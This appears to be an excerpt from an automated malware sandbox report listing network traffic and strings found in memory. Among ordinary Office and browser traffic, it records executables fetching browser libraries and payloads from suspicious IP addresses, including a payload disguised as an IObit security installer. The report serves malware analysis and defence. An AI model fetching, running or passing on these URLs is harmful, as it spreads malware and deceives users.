Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exe HTTP/1.1Host: 95.163.152.232

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: r.msftstatic.com
Source: global traffic	DNS traffic detected: DNS query: 198.187.3.20.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: deff.nelreports.net

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 913sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCLnKzQEIitPNARj1yc0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: file.exe, 00000001.00000002.1757866437.0000000000D79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000001.00000002.1757866437.0000000000D1E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1753987889.00000000001D7000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000001.00000002.1757866437.0000000000D79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000001.00000002.1757866437.0000000000D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000001.00000002.1757866437.0000000000D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllDy;
Source: file.exe, 00000001.00000002.1757866437.0000000000D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000001.00000002.1757866437.0000000000D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll6y
Source: file.exe, 00000001.00000002.1757866437.0000000000D79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000001.00000002.1757866437.0000000000D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000001.00000002.1757866437.0000000000D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllr~
Source: file.exe, 00000001.00000002.1757866437.0000000000D79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000001.00000002.1757866437.0000000000D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dllaF
Source: file.exe, 00000001.00000002.1757866437.0000000000D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000001.00000002.1757866437.0000000000D79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000001.00000002.1757866437.0000000000D79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllY
Source: file.exe, 00000001.00000002.1757866437.0000000000D79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/PR
Source: file.exe, 00000001.00000002.1791503615.00000000232F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1757866437.0000000000D79000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1753987889.00000000001D7000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000001.00000002.1791503615.00000000232F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php&
Source: file.exe, 00000001.00000002.1757866437.0000000000D79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpH
Source: file.exe, 00000001.00000002.1753987889.00000000001D7000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: file.exe, 00000001.00000002.1791503615.00000000232F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpsE(
Source: file.exe, 00000001.00000002.1753987889.00000000001D7000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: http://185.215.113.206ata
Source: skotes.exe, 0000001B.00000002.2583360770.000000000132A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001B.00000002.2583360770.00000000012EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000001B.00000002.2583360770.000000000132A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpbn
Source: skotes.exe, 0000001B.00000002.2583360770.00000000012EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpu
Source: skotes.exe, 0000001B.00000002.2583360770.000000000132A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.163.152.232/
Source: skotes.exe, 0000001B.00000002.2583360770.00000000012EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.163.152.232/IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exe
Source: skotes.exe, 0000001B.00000002.2583360770.00000000012EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.163.152.232/IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exe.
Source: skotes.exe, 0000001B.00000002.2583360770.000000000133F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.163.152.232/IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exe1bf2
Source: skotes.exe, 0000001B.00000002.2583360770.000000000133F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.163.152.232/IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exe1bf4040
Source: skotes.exe, 0000001B.00000002.2583360770.000000000133F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.163.152.232/IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exe1bf4040a952W
Source: skotes.exe, 0000001B.00000002.2583360770.000000000133F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.163.152.232/IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exe1bf4040a96
Source: skotes.exe, 0000001B.00000002.2583360770.00000000012EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.163.152.232/IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exeF?Z
Source: skotes.exe, 0000001B.00000002.2583360770.00000000012EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.163.152.232/IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exeH
Source: skotes.exe, 0000001B.00000002.2583360770.000000000133F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.163.152.232/IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exeP
Source: skotes.exe, 0000001B.00000002.2583360770.00000000012EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.163.152.232/IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exeT?L
Source: skotes.exe, 0000001B.00000002.2583360770.00000000012EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.163.152.232/IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exef
Source: skotes.exe, 0000001B.00000002.2583360770.00000000012EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.163.152.232/IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exelV
Source: skotes.exe, 0000001B.00000002.2583360770.000000000132A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.163.152.232/d5f9d50f5daacf4d7e3d467cb301a88a9e8ec4f0bddf31bf4040a952f649ui/
Source: nss3.dll.1.dr, mozglue.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: nss3.dll.1.dr, mozglue.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: nss3.dll.1.dr, mozglue.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: nss3.dll.1.dr, mozglue.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: nss3.dll.1.dr, mozglue.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: nss3.dll.1.dr, mozglue.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: nss3.dll.1.dr, mozglue.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: nss3.dll.1.dr, mozglue.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: nss3.dll.1.dr, mozglue.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: nss3.dll.1.dr, mozglue.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: nss3.dll.1.dr, mozglue.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: nss3.dll.1.dr, mozglue.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: nss3.dll.1.dr, mozglue.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: nss3.dll.1.dr, mozglue.dll.1.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 00000001.00000002.1796604428.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000001.00000002.1784413104.000000001D2C9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1795925791.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000001.00000003.1497379577.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000001.00000002.1791503615.00000000232F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: file.exe, 00000001.00000002.1791503615.00000000232F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: file.exe, 00000001.00000003.1497379577.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000001.00000003.1497379577.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000001.00000003.1497379577.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000001.00000002.1791503615.00000000232F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000001.00000002.1791503615.00000000232F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000001.00000003.1497379577.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000001.00000003.1497379577.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000001.00000003.1497379577.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file.exe, 00000001.00000002.1791503615.00000000232F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: nss3.dll.1.dr, mozglue.dll.1.dr	String found in binary or memory: https://mozilla.org0/
Source: file.exe, 00000001.00000003.1672721640.0000000023406000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000001.00000003.1672721640.0000000023406000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK
Source: file.exe, 00000001.00000002.1791503615.00000000232F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: nss3.dll.1.dr, mozglue.dll.1.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000001.00000003.1497379577.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content.js.10.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000001.00000003.1497379577.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000001.00000002.1791503615.00000000232F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: file.exe, 00000001.00000002.1753987889.00000000001D7000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000001.00000003.1672721640.0000000023406000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: file.exe, 00000001.00000002.1753987889.00000000001D7000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000001.00000002.1753987889.00000000001D7000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000001.00000003.1672721640.0000000023406000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: file.exe, 00000001.00000002.1753987889.00000000001D7000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000001.00000003.1672721640.0000000023406000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: file.exe, 00000001.00000002.1753987889.00000000001D7000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000001.00000002.1753987889.00000000001D7000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000001.00000003.1672721640.0000000023406000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000001.00000002.1753987889.00000000001D7000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 64238 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52496 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64250 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52530 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
